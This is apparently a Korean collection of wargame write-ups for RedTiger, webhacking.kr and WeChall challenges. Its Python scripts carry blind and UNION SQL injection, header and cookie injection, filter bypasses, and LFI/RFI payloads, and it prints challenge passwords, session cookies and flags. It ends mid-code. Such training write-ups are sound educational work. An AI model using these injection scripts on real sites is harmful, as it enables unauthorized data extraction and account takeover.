print "1 and if((select length(keyword) from level4_secret)=%s,1,0)" % str(l)
r = requests.post(url, cookies=cookies, params=params, verify=False)
if bef_ret!=r.content:
print r.content
bef_ret = r.content
and if¶
- 데이터 추출
import requests
requests.packages.urllib3.disable_warnings()
url = "https://redtiger.labs.overthewire.org/level4.php"
cookies = {
"level4login":"dont_publish_solutions_GRR%21"
}
n = 0
bef_ret = ''
ans = ''
# column length = 17
for l in range(1,18):
# character range
for m in range(31,128):
params = {
"id": "1 and if((select substring(keyword,%s,1) from level4_secret)=%s,1,0)" % (str(l),hex(m))
}
print "1 and if((select substring(keyword,%s,1) from level4_secret)=%s,1,0)" % (str(l),hex(m))
r = requests.post(url, cookies=cookies, params=params, verify=False)
if bef_ret!=r.content and bef_ret!='':
print r.content
ans += str(hex(m))[:2]
break
bef_ret = r.content
print ans
[redtiger] level5¶
![digraph G {
rankdir="LR";
node[shape="point"];
edge[arrowhead="none"]
{
rank="same";
"client"[shape="plaintext"];
"client" -> step0 -> step2 -> step4 -> step6 -> step8;
}
{
rank="same";
"server"[shape="plaintext"];
"server" -> step1 -> step3 -> step5 -> step7 -> step9;
}
step0 -> step1[label="post_data: {username='&password='}",arrowhead="normal"];
step3 -> step2[label="Error Page",arrowhead="normal"];
step4 -> step5[label="post_data: {username=' union select 'joizel','0cc175b9c0f1b6a831c399e269772661&password=a&login=Login}",arrowhead="normal"];
step7 -> step6[label="login success",arrowhead="normal"];
}](_images/graphviz-f2d6a77334f5968cc9481b5fd436ca3cf60fbbaa.png)
server -> DB 예측¶
- Disabled: substring , substr, ( , ), mid
- POST 파라미터: username, password
- Hints: its not a blind, the password is md5-crypted, watch the login errors
SELECT * FROM tb_name where
username='$_POST["username"]' AND
password='$_POST["password"]'
quote¶
import requests
requests.packages.urllib3.disable_warnings()
url = "https://redtiger.labs.overthewire.org/level5.php"
cookies = {
"level5login":"bananas_are_not_yellow-sometimes"
}
params = {
"username": "'",
"password": "'"
}
r = requests.post(url, cookies=cookies, params=params, verify=False)
print r.content
Warning: mysql_num_rows() expects parameter 1 to be resource,
boolean given in /var/www/hackit/level5.php on line 46
User not found!
union select¶
- 데이터 추출
import requests
requests.packages.urllib3.disable_warnings()
url = "https://redtiger.labs.overthewire.org/level5.php"
cookies = {
"level5login":"bananas_are_not_yellow-sometimes"
}
params = {
"mode": "login"
}
# a => 0cc175b9c0f1b6a831c399e269772661
payloads = {
"username": "' union select 'joizel', '0cc175b9c0f1b6a831c399e269772661",
"password": "a",
"login": "Login"
}
r = requests.post(url, cookies=cookies, params=params, data=payloads, verify=False)
print r.content
[redtiger] level6¶
![digraph G {
rankdir="LR";
node[shape="point"];
edge[arrowhead="none"]
{
rank="same";
"client"[shape="plaintext"];
"client" -> step0 -> step2 -> step4 -> step6 -> step8;
}
{
rank="same";
"server"[shape="plaintext"];
"server" -> step1 -> step3 -> step5 -> step7 -> step9;
}
step0 -> step1[label="user=0 union select %s from level6_users--",arrowhead="normal"];
step3 -> step2[label="Column Length",arrowhead="normal"];
step4 -> step5[label="user=0 union select 1,@HEX,3,4,5 from level6_users-- ",arrowhead="normal"];
step7 -> step6[label="Data Extract",arrowhead="normal"];
}](_images/graphviz-35c0fbdffaeb59840dc6a055dfdd610e74f2e4df.png)
server -> DB 예측¶
- 테이블명: level6_users
- POST 파라미터: user, password
SELECT * FROM tb_name where
user='$_POST["user"]' AND
password='$_POST["password"]'
union select¶
- 컬럼 개수 확인
import requests
import base64
requests.packages.urllib3.disable_warnings()
url = "https://redtiger.labs.overthewire.org/level6.php"
cookies = {
"level6login":"my_cat_says_meow_meowmeow"
}
n = 0
bef_ret = ''
for l in range(20):
params = {
"user": "0 union select %s from level6_users-- " % str(n)
}
print "0 union select %s from level6_users-- " % str(n)
n = str(n) + "," + str(l+1)
r = requests.post(url, cookies=cookies, params=params, verify=False)
if bef_ret!=r.content and bef_ret!='':
print r.content
bef_ret = r.content
union select¶
- 데이터 추출
import requests
requests.packages.urllib3.disable_warnings()
url = "https://redtiger.labs.overthewire.org/level6.php"
cookies = {
"level6login":"my_cat_says_meow_meowmeow"
}
# 0x2720756e696f6e2073656c65637420312c757365726e616d652c332c70617373776f72642c352066726f6d206c6576656c365f75736572732077686572652069643d33202d2d20
# ' union select 1,username,3,password,5 from level6_users where id=3 --
params = {
"user": "0 union select 1,0x2720756e696f6e2073656c65637420312c757365726e616d652c332c70617373776f72642c352066726f6d206c6576656c365f75736572732077686572652069643d33202d2d20,3,4,5 from level6_users-- "
}
r = requests.post(url, cookies=cookies, params=params, verify=False)
print r.content
[webhacking.kr] 01¶
![digraph G {
rankdir="LR";
node[shape="point"];
edge[arrowhead="none"]
{
rank="same";
"client"[shape="plaintext"];
"client" -> step0 -> step2 -> step4;
}
{
rank="same";
"server"[shape="plaintext"];
"server" -> step1 -> step3 -> step5;
}
step0 -> step1[label="5<$_COOKIE[user_lv]<6",arrowhead="normal"];
step3 -> step2[label="@solve",arrowhead="normal"];
}](_images/graphviz-94d143a915337e428b26741c246c2992589ae41d.png)
코드 분석¶
- Cookie 값만 만족하면 문제가 해결될 수 있습니다.
<?
if(!$_COOKIE[user_lv])
{
SetCookie("user_lv","1");
echo("<meta http-equiv=refresh content=0>");
}
?>
<html>
<head>
<title>Challenge 1</title>
</head>
<body bgcolor=black>
<center>
<br><br><br><br><br>
<font color=white>
---------------------<br>
<?
$password="????";
if(eregi("[^0-9,.]",$_COOKIE[user_lv]))
$_COOKIE[user_lv]=1;
if($_COOKIE[user_lv]>=6)
$_COOKIE[user_lv]=1;
if($_COOKIE[user_lv]>5)
@solve();
echo("<br>level : $_COOKIE[user_lv]");
?>
<br>
<pre>
<a onclick=location.href='index.phps'>----- index.phps -----</a>
</body>
</html>
- $_COOKIE[user_lv]이 5보다 크고 6보다 작아야 하기 때문에, 5.1값을 넣어주면 문제가 해결됩니다.
[webhacking.kr] 02¶
![digraph G {
rankdir="LR";
node[shape="point"];
edge[arrowhead="none"]
{
rank="same";
"client"[shape="plaintext"];
"client" -> step0 -> step2 -> step4 -> step6 -> step8 -> step10 -> step12;
}
{
rank="same";
"server"[shape="plaintext"];
"server" -> step1 -> step3 -> step5 -> step7 -> step9 -> step11 -> step13;
}
step0 -> step1[label="time = '1 and 1=1'",arrowhead="normal"];
step3 -> step2[label="Error Page",arrowhead="normal"];
step4 -> step5[label="time = 1 and (select if(length(password)>8,1,0) from FreeB0aRd)",arrowhead="normal"];
step7 -> step6[label="Data Length",arrowhead="normal"];
step8 -> step9[label="time = 1 and (select ascii(substr(password,%d,1)) from FreeB0aRd)=%d",arrowhead="normal"];
step11 -> step10[label="Data Extract",arrowhead="normal"];
}](_images/graphviz-c6f53823789ae72417e999c7ac6f469fafbe14b0.png)
server -> DB 예측¶
- 해당 html 소스 내에 주석 처리된 부분에 time이 출력되는 것을 볼 수 있는데, 쿠키 값에 time이 설정되어 있는 것으로 보아 해당 쿠키 값이 페이지 상에 출력되는 것으로 추측됩니다.
SELECT * FROM tb_name where
time=$_COOKIE['time']
COOKIE Injection¶
- Cookie 값 입력을 통해 True/False 여부를 확인합니다.
time = '1 and 1=1' // True: <!--2070-01-01 09:00:01-->
time = '1 and 1=2' // False: <!--2070-01-01 09:00:00-->
- 테이블 명과 컬럼 명은 유추를 통해 확인할 수 있습니다.
- 테이블명: FreeB0aRd
- 컬럼명: password
and select¶
- 데이터 길이 확인: 9
import requests
cookie = {
"PHPSESSID":"di0tppi0hjd8prirqbkkl6isj2",
"time":"1 and (select if(length(password)>8,1,0) from FreeB0aRd)"
}
url = "http://webhacking.kr/challenge/web/web-02/index.php"
r = requests.get(url,cookies=cookie, verify=False)
print r.content.split('<!--')[1].split('-->')[0]
and select¶
- 데이터 추출
- FreeB0aRd password : 7598522ae
import requests
pw =""
for i in range(1,10):
for j in range(33,126):
#print j
cookie = {
"PHPSESSID":"di0tppi0hjd8prirqbkkl6isj2",
"time":"1 and (select ascii(substr(password,%d,1)) from FreeB0aRd)=%d" % (i,j)
}
url = "http://webhacking.kr/challenge/web/web-02/index.php"
r = requests.get(url,cookies=cookie, verify=False)
q = r.content.split('<!--')[1].split('-->')[0]
if "09:00:01" in q:
pw += chr(j)
print pw
break
print pw
admin 패스워드 값 확인¶
- 확인된 패스워드를 패스워드가 걸려있는 게시판에 입력한 결과 하나의 다운로드 링크가 존재한다.
- 페이지에서 파일을 다운 받으면 __AdMiN__FiL2.zip 이라는 압축 파일이 존재하는데 해당 파일이 암호가 걸려있다.
- 해당 파일에 대한 패스워드는 admin 페이지에 존재하는 것으로 추측되며 admin 페이지 패스워드를 위와 같은 방식으로 찾는다.
- admin password: 0nly_admin
해당 패스워드로 압축 파일을 해제하면 인증 패스워드를 확인할 수 있다.
[webhacking.kr] 03¶
![digraph G {
rankdir="LR";
node[shape="point"];
edge[arrowhead="none"]
{
rank="same";
"client"[shape="plaintext"];
"client" -> step0 -> step2 -> step4 -> step6 -> step8;
}
{
rank="same";
"server"[shape="plaintext"];
"server" -> step1 -> step3 -> step5 -> step7 -> step9;
}
step0 -> step1[label="post_data: {answer=1&id=1}",arrowhead="normal"];
step3 -> step2[label="Error Page",arrowhead="normal"];
step4 -> step5[label="post_data: {answer=1 or 1&id=1}",arrowhead="normal"];
step7 -> step6[label="login success",arrowhead="normal"];
}](_images/graphviz-3d3ecf9c2e5c9325c73b674e3706bcce0528f54a.png)
server -> DB 예측¶
- POST 파라미터: answer, id
select id, answer, ip from $table_name where
id= $_POST[id] and
answer = $_POST[answer]
POST Parameter¶
- 임의의 값을 입력하여 출력되는 메시지 확인
import requests
url = "http://webhacking.kr/challenge/web/web-03/index.php?_1=1&_2=0&_3=1&_4=0&_5=1&_6=0&_7=0&_8=0&_9=0&_10=0&_11=0&_12=1&_13=1&_14=1&_15=0&_16=0&_17=1&_18=0&_19=1&_20=0&_21=1&_22=1&_23=1&_24=1&_25=1&_answer=1010100000011100101011111"
cookies = {
"PHPSESSID":"di0tppi0hjd8prirqbkkl6isj2",
}
data = {
"answer": "1",
"id":"1"
}
r = requests.post(url, data=data, cookies = cookies, verify=False)
print r.content
- 출력 결과를 보면 answer가 같은 값을 입력한 상태에서 id값을 다르게 입력하면 누적형식으로 쌓인 데이터를 확인할 수 있다.
<p>name : 1<br>
answer : 1<br>
ip : 125.x.x.x<hr><p>
name : 1<br>
answer : 1<br>
ip : 125.x.x.x<hr><p>
name : 1<br>
answer : 1<br>
ip : 125.x.x.x<hr><p>
name : 33<br>
answer : 1<br>
ip : 125.x.x.x<hr><p>
name : 33<br>
answer : 1<br>
ip : 125.x.x.x<hr><p>
name : 33<br>
answer : 1||1<br>
ip : 125.x.x.x<hr>
or¶
$_POST[answer]에 참인 값을 or 형식으로 넣어주면 모든 answer 출력 결과를 얻을 수 있다.
select id, answer, ip from $table_name where
id= $_POST[id] and
answer = 1 or 1
[webhacking.kr] 04¶
Base64 Decode¶
디코딩하면 다음과 같이 40 바이트 값이 나온다. 40바이트의 경우 SHA-1 decrypt를 써서 디코딩해보자.
c4033bff94b567a190e33faa551f411caef444f2
[webhacking.kr] 05¶
![digraph G {
rankdir="LR";
node[shape="point"];
edge[arrowhead="none"]
{
rank="same";
"client"[shape="plaintext"];
"client" -> step0 -> step2 -> step4 -> step6 -> step8;
}
{
rank="same";
"server"[shape="plaintext"];
"server" -> step1 -> step3 -> step5 -> step7 -> step9;
}
step0 -> step1[label="join.php",arrowhead="normal"];
step3 -> step2[label="javascript Obfuscated",arrowhead="normal"];
step4 -> step5[label="id= admin&pw=1234",arrowhead="normal"];
step7 -> step6[label="Add user",arrowhead="normal"];
}](_images/graphviz-945bc60e39d16ad3465cbf004aa17160faaf8218.png)
insert¶
- 해당 페이지로 admin을 가입하면 오류 메시지가 발생하는데, space를 넣어 가입할 경우 정상적으로 가입된다.
- 아마, trim 함수를 통해 id를 확인하는 것으로 보인다.
import requests
url = "http://webhacking.kr/challenge/web/web-05/mem/join.php"
cookies = {
"PHPSESSID":"9johqp6c81c5hf11lkomnghhn6"
}
data = {
"id":" admin ",
"pw":"1234"
}
r = requests.post(url, data=data, cookies = cookies, verify=False)
print r.content
[webhacking.kr] 06¶
![digraph G {
rankdir="LR";
node[shape="point"];
edge[arrowhead="none"]
{
rank="same";
"client"[shape="plaintext"];
"client" -> step0 -> step2 -> step4;
}
{
rank="same";
"server"[shape="plaintext"];
"server" -> step1 -> step3 -> step5;
}
step0 -> step1[label="$_COOKIE[user],$_COOKIE[password] Base64 encode",arrowhead="normal"];
step3 -> step2[label="@solve",arrowhead="normal"];
}](_images/graphviz-3b865f89d9d141f5e66bb010dca1111b481c3821.png)
Source analysis¶
입력 부분: $_COOKIE[user], $_COOKIE[password]
출력 부분: @solve(6,100);
<?php
if(!$_COOKIE[user])
{
$val_id="guest";
$val_pw="123qwe";
for($i=0;$i<20;$i++)
{
$val_id=base64_encode($val_id);
$val_pw=base64_encode($val_pw);
}
$val_id=str_replace("1","!",$val_id);
$val_id=str_replace("2","@",$val_id);
$val_id=str_replace("3","$",$val_id);
$val_id=str_replace("4","^",$val_id);
$val_id=str_replace("5","&",$val_id);
$val_id=str_replace("6","*",$val_id);
$val_id=str_replace("7","(",$val_id);
$val_id=str_replace("8",")",$val_id);
$val_pw=str_replace("1","!",$val_pw);
$val_pw=str_replace("2","@",$val_pw);
$val_pw=str_replace("3","$",$val_pw);
$val_pw=str_replace("4","^",$val_pw);
$val_pw=str_replace("5","&",$val_pw);
$val_pw=str_replace("6","*",$val_pw);
$val_pw=str_replace("7","(",$val_pw);
$val_pw=str_replace("8",")",$val_pw);
Setcookie("user",$val_id);
Setcookie("password",$val_pw);
echo("<meta http-equiv=refresh content=0>");
}
?>
<html>
<head>
<title>Challenge 6</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
</style>
</head>
<body>
<?
$decode_id=$_COOKIE[user];
$decode_pw=$_COOKIE[password];
$decode_id=str_replace("!","1",$decode_id);
$decode_id=str_replace("@","2",$decode_id);
$decode_id=str_replace("$","3",$decode_id);
$decode_id=str_replace("^","4",$decode_id);
$decode_id=str_replace("&","5",$decode_id);
$decode_id=str_replace("*","6",$decode_id);
$decode_id=str_replace("(","7",$decode_id);
$decode_id=str_replace(")","8",$decode_id);
$decode_pw=str_replace("!","1",$decode_pw);
$decode_pw=str_replace("@","2",$decode_pw);
$decode_pw=str_replace("$","3",$decode_pw);
$decode_pw=str_replace("^","4",$decode_pw);
$decode_pw=str_replace("&","5",$decode_pw);
$decode_pw=str_replace("*","6",$decode_pw);
$decode_pw=str_replace("(","7",$decode_pw);
$decode_pw=str_replace(")","8",$decode_pw);
for($i=0;$i<20;$i++)
{
$decode_id=base64_decode($decode_id);
$decode_pw=base64_decode($decode_pw);
}
echo("<font style=background:silver;color:black> HINT : base64 </font><hr><a href=index.phps style=color:yellow;>index.phps</a><br><br>");
echo("ID : $decode_id<br>PW : $decode_pw<hr>");
if($decode_id=="admin" && $decode_pw=="admin")
{
@solve(6,100);
}
?>
</body>
</html>
Cookie Base64 Encode¶
입력 부분이 쿠키값이기 때문에 쿠키값을 확인해보면 쿠키값이 존재함을 확인할 수 있다. 해당 쿠키값을 base64로 디코드했을 때 id는 guest이고 pw는 123qwe으로 보인다. 출력 부분을 보면 id와 pw가 admin일 경우 해결이 된다고 하니 admin을 encode해보자.
import base64
user = 'admin'
pw = 'admin'
for i in range(20):
user = base64.b64encode(user)
pw = base64.b64encode(pw)
user=user.replace("1","!")
user=user.replace("2","@")
user=user.replace("3","$")
user=user.replace("4","^")
user=user.replace("5","&")
user=user.replace("6","*")
user=user.replace("7","(")
user=user.replace("8",")")
pw=pw.replace("1","!")
pw=pw.replace("2","@")
pw=pw.replace("3","$")
pw=pw.replace("4","^")
pw=pw.replace("5","&")
pw=pw.replace("6","*")
pw=pw.replace("7","(")
pw=pw.replace("8",")")
print user
print pw
[webhacking.kr] 07¶
![digraph G {
rankdir="LR";
node[shape="point"];
edge[arrowhead="none"]
{
rank="same";
"client"[shape="plaintext"];
"client" -> step0 -> step2 -> step4;
}
{
rank="same";
"server"[shape="plaintext"];
"server" -> step1 -> step3 -> step5;
}
step0 -> step1[label="val='+'1)%0aunion%0aselect%0a3-1%23)",arrowhead="normal"];
step3 -> step2[label="login success",arrowhead="normal"];
}](_images/graphviz-7c4ef278b01191e734800cd3831580b3fc7901f1.png)
union select¶
- eregi로 필터링되는 함수를 제외하여 rand가 1일 때 실행할 수 있는 쿼리문을 작성해보자.
- eregi("--|2|50|+|substring|from|infor|mation|lv|%20|=|!|<>|sysM|and|or|table|column",$ck)
import requests
url = "http://webhacking.kr/challenge/web/web-07/index.php?val='+'1)%0aunion%0aselect%0a3-1%23)"
cookies = {
"PHPSESSID":"9johqp6c81c5hf11lkomnghhn6"
}
r = requests.get(url, cookies = cookies, verify=False)
print r.content
[webhacking.kr] 08¶
![digraph G {
rankdir="LR";
node[shape="point"];
edge[arrowhead="none"]
{
rank="same";
"client"[shape="plaintext"];
"client" -> step0 -> step2 -> step4;
}
{
rank="same";
"server"[shape="plaintext"];
"server" -> step1 -> step3 -> step5;
}
step0 -> step1[label="User-Agent: joizel','2.2.2.2','admin');#",arrowhead="normal"];
step3 -> step2[label="Add user",arrowhead="normal"];
}](_images/graphviz-385ec0fc099f9ac5bb0fb6913cf3afb6e36d9ac5.png)
server -> DB¶
- PHP
- GET 파라미터: HTTP_USER_AGENT
insert into lv0(agent,ip,id)
values('$_SERVER[HTTP_USER_AGENT]','$ip','guest')
insert¶
import requests
url = "http://webhacking.kr/challenge/web/web-08/index.php"
headers = {
"User-Agent":"joizel','2.2.2.2','admin');#"
}
cookies = {
"PHPSESSID":"9johqp6c81c5hf11lkomnghhn6"
}
r = requests.get(url, headers = headers, cookies=cookies, verify=False)
print r.content
[webhacking.kr] 09¶
![digraph G {
rankdir="LR";
node[shape="point"];
edge[arrowhead="none"]
{
rank="same";
"client"[shape="plaintext"];
"client" -> step0 -> step2 -> step4;
}
{
rank="same";
"server"[shape="plaintext"];
"server" -> step1 -> step3 -> step5;
}
step0 -> step1[label="put_data: {no=IF((substr(id,%d,1)in(%s)),3,0)}",arrowhead="normal"];
step3 -> step2[label="Data Extract",arrowhead="normal"];
}](_images/graphviz-65db747a8206251b449846ea181acafdcaa9e4f1.png)
server -> DB 예측¶
- 최초 접속 시 다음과 같은 인증 페이지가 뜬다.

- 해당 인증 페이지시 다른 메소드로 접속해본다.
import requests
url = "http://webhacking.kr/challenge/web/web-09/"
cookies = {
"PHPSESSID":"9johqp6c81c5hf11lkomnghhn6"
}
r = requests.put(url, cookies=cookies, verify=False)
print r.content
- 정상적으로 페이지가 출력된다.
- 3개의 페이지가 href 되어 있는데 어떤 내용이 있는지 확인해본다.
- no=1일 경우 페이지
Apple<form method=get action=index.php>
- no=2일 경우 페이지
Banana<form method=get action=index.php>
- no=3일 경우 페이지
<b>Secret</b><br><br>hint : length = 11<br>column : id,no
- 길이: 11
- 컬럼명: id, no
- 해당 문제의 페이지는 no를 통해 페이지가 리다이렉트되기 때문에, 다음과 같은 쿼리문으로 이루어져 있을 것이다.
SELECT * FROM tb_name WHERE
no=$_GET["no"]
if¶
- 데이터 추출
import requests
pw =""
for i in range(1,12):
for j in range(33,126):
cookie = {
"PHPSESSID":"9johqp6c81c5hf11lkomnghhn6",
}
url = "http://webhacking.kr/challenge/web/web-09/?no=IF((substr(id,%d,1)in(%s)),3,0)" % (i,str(hex(j)))
r = requests.put(url, cookies=cookie, verify=False)
q = r.content
if "Secret" in q:
pw += chr(j)
print pw
break
print pw
[webhacking.kr] 10¶
Source analysis¶
- 입력부분과 출력 부분을 찾는다.:
<html>
<head>
<title>Challenge 10</title>
</head>
<body>
<hr style=height:100;background:brown;>
<table border=0 width=900 style=background:gray>
<tr><td>
<a id=hackme style="position:relative;left:0;top:0" onclick="this.style.posLeft+=1;if(this.style.posLeft==800)this.href='?go='+this.style.posLeft" onmouseover=this.innerHTML='yOu' onmouseout=this.innerHTML='O'>O</a><br>
<font style="position:relative;left:800;top:0" color=gold>|<br>|<br>|<br>|<br>buy lotto</font>
</td></tr>
</table>
<hr style=height:100;background:brown;>
</body>
</html>
td 값 수정¶
this.style.posLeft+=1 부분을 this.style.posLeft=800으로 바꿔주면 클리어 된다.
[webhacking.kr] 11¶
- 인젝션 취약점이 존재할 수 있는 입력부분을 찾아 인젝션 존재 여부를 확인한다.
접속하면 아래와 같은 메시지와 함께 wrong이란 메시지가 출력된다.
wrong
$pat="/[1-3][a-f]{5}_.*125.140.118.254.*\tp\ta\ts\ts/";
if(preg_match($pat,$_GET[val])) { echo("Password is ????"); }
해당 조건을 만족해서 request를 날리면 통과한다.
import requests
url = "http://webhacking.kr/challenge/codeing/code2.html?val=1aaaab_a125.140.118.254a\tp\ta\ts\ts/"
cookies = {
"PHPSESSID":"9johqp6c81c5hf11lkomnghhn6"
}
r = requests.get(url, cookies=cookies, verify=False)
print r.content
[webhacking.kr] 24¶
![digraph G {
rankdir="LR";
node[shape="point"];
edge[arrowhead="none"]
{
rank="same";
"client"[shape="plaintext"];
"client" -> step0 -> step2 -> step4;
}
{
rank="same";
"server"[shape="plaintext"];
"server" -> step1 -> step3 -> step5;
}
step0 -> step1[label="REMOTE_ADDR=112277..00..00..1",arrowhead="normal"];
step3 -> step2[label="@solve",arrowhead="normal"];
}](_images/graphviz-8b4c3009d9248146a01ccee30554e232b133c56d.png)
Source analysis¶
- 인젝션 취약점이 존재할 수 있는 입력부분을 찾아 인젝션 존재 여부를 확인합니다.
먼저 접속하면 client ip와 agent 정보를 보여주고 있습니다.

<html>
<head>
<title>Challenge 24</title>
</head>
<body>
<?
extract($_SERVER);
extract($_COOKIE);
if(!$REMOTE_ADDR) $REMOTE_ADDR=$_SERVER[REMOTE_ADDR];
$ip=$REMOTE_ADDR;
$agent=$HTTP_USER_AGENT;
if($_COOKIE[REMOTE_ADDR])
{
$ip=str_replace("12","",$ip);
$ip=str_replace("7.","",$ip);
$ip=str_replace("0.","",$ip);
}
echo("<table border=1><tr><td>client ip</td><td>$ip</td></tr><tr><td>agent</td><td>$agent</td></tr></table>");
if($ip=="127.0.0.1")
{
@solve();
}
else
{
echo("<p><hr><center>Wrong IP!</center><hr>");
}
?>
<!--
source : index.phps
-->
</body>
</html>
결과적으로 @solve에 도달하려면 127.0.0.1이라는 값이 들어가야합니다.
Filtering Bypass¶
소스 내용을 보시면 트릭이 있습니다. str_replace를 통해 입력된 값을 바꿔치기 하는 데 2글자에 대해 바꿔치기를 하는 군요. 그렇다면 여기서 부터는 puzzle 문제 처럼 되네요.
1122 -> 12
77.. -> 7.
00.. -> 0.
00.. -> 0.
1 -> 1
cookie값에 다음 값을 붙여서 입력하면 문제 Clear!!
import requests
url = "http://webhacking.kr/challenge/bonus/bonus-4/index.php"
cookies = {"PHPSESSID":"fv2vg5nef63pavpm7s22j7ajh1", "REMOTE_ADDR":"112277..00..00..1"}
response = requests.get(url, cookies=cookies)
print response.text
[webhacking.kr] 59¶
![digraph G {
rankdir="LR";
node[shape="point"];
edge[arrowhead="none"]
{
rank="same";
"client"[shape="plaintext"];
"client" -> step0 -> step2 -> step4;
}
{
rank="same";
"server"[shape="plaintext"];
"server" -> step1 -> step3 -> step5;
}
step0 -> step1[label="post_data: {id=nimda&phone=1,reverse(id)),(1,1}",arrowhead="normal"];
step3 -> step2[label="Add user",arrowhead="normal"];
}](_images/graphviz-b6c505f476c120c179c156a0563495ebf9c8d178.png)
insert¶
- admin 문자열에 대해 필터링이 걸려있기 때문에, reverse 함수를 이용하여 admin 문자열을 거꾸로 입력하는 방식을 사용합니다.
- eregi("admin",$_POST[id])
- eregi("admin|0x|#|hex|char|ascii|ord|from|select|union",$_POST[phone])
$_POST[id] = nimda
$_POST[phone] = 1,reverse(id)),(1,1
[wechall] Warchall: Live LFI¶
![digraph G {
rankdir="LR";
node[shape="point"];
edge[arrowhead="none"]
{
rank="same";
"client"[shape="plaintext"];
"client" -> step0 -> step2 -> step4;
}
{
rank="same";
"server"[shape="plaintext"];
"server" -> step1 -> step3 -> step5;
}
step0 -> step1[label="index.php?lang=php://filter/convert.base64-encode/resource=solution.php',true);?>",arrowhead="normal"];
step3 -> step2[label="@solve",arrowhead="normal"];
}](_images/graphviz-fca360d3e255671251c590f27b4436e99c464526.png)
solve¶
import requests
url = "http://lfi.warchall.net/index.php"
params = {
"lang": "php://filter/convert.base64-encode/resource=solution.php"
}
r = requests.get(url, params=params, verify=False)
print r.content
return page
PGh0bWw+Cjxib2R5Pgo8cHJlIHN0eWxlPSJjb2xvcjojMDAwOyI+dGVoIGZhbGcgc2kgbmFlciE8L3ByZT4KPHByZSBzdHlsZT0iY29sb3I6I2ZmZjsiPnRoZSBmbGFnIGlzIG5lYXIhPC9wcmU+CjwvYm9keT4KPC9odG1sPgo8P3BocCAgICAgICAgICAgICAgICAgICMgICBZT1VSX1RST1BIWSAKcmV0dXJuICdTdGVwcGluU3RvbmVzNDJQaWUnOyAjIDwtwrQgPz4K
base64 decode
<html>
<body>
<pre style="color:#000;">teh falg si naer!</pre>
<pre style="color:#fff;">the flag is near!</pre>
</body>
</html>
<?php # YOUR_TROPHY
return 'SteppinStones42Pie'; # <-?? ?>
[wechall] Warchall: Live RFI¶
![digraph G {
rankdir="LR";
node[shape="point"];
edge[arrowhead="none"]
{
rank="same";
"client"[shape="plaintext"];
"client" -> step0 -> step2 -> step4 -> step6 -> step8;
}
{
rank="same";
"server"[shape="plaintext"];
"server" -> step1 -> step3 -> step5 -> step7 -> step9;
}
step0 -> step1[label="index.php?lang=data://text/plain,<?php print file_get_contents('solution.php',true);?>",arrowhead="normal"];
step3 -> step2[label="@solve",arrowhead="normal"];
}](_images/graphviz-ee1f06d1d1d3a93313bd44667d2bf987d4ec0f79.png)
solve¶
import requests
url = "http://rfi.warchall.net/index.php"
params = {
"lang": "data://text/plain,<?php print file_get_contents('solution.php',true);?>"
}
r = requests.get(url, params=params, verify=False)
print r.content
[wechall] PHP 0815¶
![digraph G {
rankdir="LR";
node[shape="point"];
edge[arrowhead="none"]
{
rank="same";
"client"[shape="plaintext"];
"client" -> step0 -> step2 -> step4 -> step6 -> step8;
}
{
rank="same";
"server"[shape="plaintext"];
"server" -> step1 -> step3 -> step5 -> step7 -> step9;
}
step0 -> step1[label="",arrowhead="normal"];
step3 -> step2[label="@solve",arrowhead="normal"];
}](_images/graphviz-280a5dada5637037226b64ae3d33638dee18b560.png)
Source Analysis¶
<?
# Only allow these ID's
$whitelist = array(1, 2, 3);
# if show is not set die with error.
if (false === ($show = isset($_GET['show']) ? $_GET['show'] : false)) {
die('MISSING PARAMETER; USE foo.bar?show=[1-3]');
}
# check if get var is sane (is it in whitelist ?)
elseif (in_array($show, $whitelist))
{
$query = "SELECT 1 FROM `table` WHERE `id`=$show";
echo 'Query: '.htmlspecialchars($query, ENT_QUOTES).'<br/>';
die('SHOWING NUMBER '.htmlspecialchars($show, ENT_QUOTES));
}
else # Not in whitelist !
{
die('HACKER NONONO');
}
?>
solve¶
- 3735929054의 16진수 값
[wechall] PHP 0816¶
![digraph G {
rankdir="LR";
node[shape="point"];
edge[arrowhead="none"]
{
rank="same";
"client"[shape="plaintext"];
"client" -> step0 -> step2 -> step4 -> step6 -> step8;
}
{
rank="same";
"server"[shape="plaintext"];
"server" -> step1 -> step3 -> step5 -> step7 -> step9;
}
step0 -> step1[label="code.php?mode=hl&src=solution.php",arrowhead="normal"];
step3 -> step2[label="@solve",arrowhead="normal"];
}](_images/graphviz-6c69496040a71d5591fa530bd816f01ad16afcc6.png)
Source Analysis¶
<?php
$cwd = getcwd();
chdir('../../');
require_once('challenge/html_head.php');
html_head('PHP0816 Challenge - The Highlighter');
chdir($cwd);
# globals
global $highlights;
$highlights = array();
/**
* Parse the GET parameters.
*/
foreach ($_GET as $key => $value)
{
if ($key === 'src') {
php0816SetSourceFile($value);
}
elseif ($key === 'mode') {
php0816execute($value);
}
elseif ($key === 'hl') {
php0816addHighlights($value);
}
}
/**
* Make magic quotes off !
* (it is really defined in /include/util/Class_Common.php and will deprecate soon)
* (also you can look on the html_head() stuff, etc. WeChall source is public domain)
* (if you like a hint: There is a main logical error in this script, applies to all programming languages, not only php. H4\/3: |> |-| |_| |\|)
*/
/*
final class Common
{
public function getGet($varname, $default=false)
{
if (!isset($_GET[$varname])) {
return $default;
}
return
get_magic_quotes_gpc() > 0 ?
stripslashes($_GET[$varname]) :
$_GET[$varname];
}
}
*/
/**
* Set the text file to show.
* Sanitize Get Parameter.
* Only allow 3 different files by whitelist at the moment.
* TODO: broken ?!? people can see other files ! :(
* @param $filename string - the filename
* @return void
*/
function php0816SetSourceFile($filename)
{
$filename = (string) $filename;
static $whitelist = array(
'test.php',
'index.php',
'code.php',
);
# Sanitize by whitelist
if (!in_array($filename, $whitelist, true))
{
$_GET['src'] = false;
}
}
/**
* Add the highlighter keywords.
* @param $keyword array of strings - the highlighting keywords
* @return void
*/
function php0816addHighlights($keywords)
{
global $highlights;
if (!is_array($keywords)) { return true; }
foreach($keywords as $k)
{
$highlights[] = $k;
}
}
/**
* Execute action.
* Currently only hl is known.
* @param $mode
* @return void
*/
function php0816execute($mode)
{
switch($mode)
{
case 'hl': php0816Highlighter(); break;
}
}
/**
* Call the highlighter :)
* sweeeeet.
* @return void
*/
function php0816Highlighter()
{
global $highlights; # <-- global highlights :D
# SOMEONE SAID THIS WILL FIX IT, BUT PEOPLE CAN STILL SEE solution.php :( #
$filename = str_replace(array('/', '\\', '..'), '', Common::getGet('src'));#
if (false === ($text = @file_get_contents($filename)))
{
echo '<div>File not Found: '.htmlspecialchars($filename, ENT_QUOTES).'</div>';
return false;
}
$text = htmlspecialchars($text, ENT_QUOTES);
